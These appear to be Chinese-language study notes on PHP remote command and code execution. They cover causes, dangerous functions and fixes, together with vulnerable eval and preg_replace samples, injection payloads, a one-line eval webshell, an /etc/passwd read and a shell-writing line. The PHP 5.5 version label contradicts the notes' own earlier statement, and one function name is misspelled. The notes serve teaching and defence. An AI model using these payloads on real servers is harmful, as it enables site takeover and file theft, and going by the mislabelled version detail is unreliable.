8 RCE
(remote command/code execute) 遠程系統命令執行、遠程代碼執行
遠程命令執行
系統函數實現遠程命令執行
命令執行符號:
短路與&&:前者為真,才執行后邊;前邊為假,都不執行
邏輯與 &:無論前邊真假,都執行
短路或 ||:前者為真,后者不執行;前者為假,后者執行
邏輯或 |:無論前邊真假,都執行
成因
應用調用函數執行系統命令時,將用戶的輸入作為系統命令的參數拼接到命令行中,在沒有過濾用戶輸入的情況下,造成命令執行漏洞。
漏洞危害
·繼承web服務器程序的權限執行系統命令、讀寫文件
·反彈shell
·控制整個網站
相關函數
PHP中可調用外部程序的常見函數
system(args)(有回顯)
passthru(args)(有回顯)
exec(args)(回顯最后一行,必須echo輸出)
shell exec(args)(無回顯,必須輸出)
`` 反引號
popen(handle,mode)(無回顯)
proc open(‘cmd’,’flag’,’flag’)(無回顯)
修復方案/防御方法
能用腳本解決的工作,不調用其他程序處理,盡量少用執行命令的函數,並在disable_functions中禁用
進入命令執行的函數或者方法之前,對參數進行過濾
參數的值盡量用引號包裹(單引號變量不解析),並在拼接前調用addslashes進行轉義
遠程代碼執行
成因
應用在調用能將字符串轉換成代碼的函數式,沒有考慮用戶能否控制字符串,造成代碼執行漏洞。
PHP允許命令執行的函數
eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()等
注:
eval()函數正確執行需要滿足php的代碼規范,而assert()函數對於php的代碼規范要求不高
在php5.4及以下版本中,preg_replace()可正常執行代碼,而在php5.5及后續版本中會提醒"/e"修飾符已被棄用,要求用preg_replace_callback()函數來代替
危害
執行任意代碼、向網站寫webshell、控制整個網站甚至服務器
漏洞利用
利用1
<?php $data = $_GET['data']; eval("\$ret = $data;"); echo $ret; ?> ?data=1;phpinfo()
利用2
<?php //關閉魔術方法 $data = $_GET['data']; eval("\$ret = strtolower('$data');"); echo $ret; ?> ?data=1');phpinfo();//
利用3
<?php $data=$_GET['data']; eval("\$ret = strtolower(\"$data\");"); echo $ret; ?> ?data=“);phpinfo();//
利用4(PHP5.5以上)
<?php $data = $_GET['data']; echo $data; preg_replace('/<data>(.*)<\/data>/e','$ret="\\1";',$data); echo $ret; ?> ?data=<data>${phpinfo()}</data>
相關操作
{${@eval($_POST[1])}} 一句話
{${exit(print(getcwd()))}} 獲取當前路徑
{${exit(var_dump(file_get_contents($_POST[f])))}} 讀文件 f=/etc/passwd
{${exit(var_dmp(file_put_contents($_POST[f],$_POST[d])))}} 寫shell f=1.php&d=1111
修復方案
保證用戶不能輕易接觸eval()函數的參數或者用正則嚴格判斷輸入的數據格式
字符串使用單引號包裹,並在插入前進行addslashes()
對preg_replace()放棄使用e修飾符,保證第二個參數中對於正則匹配出的對象,用單引號包裹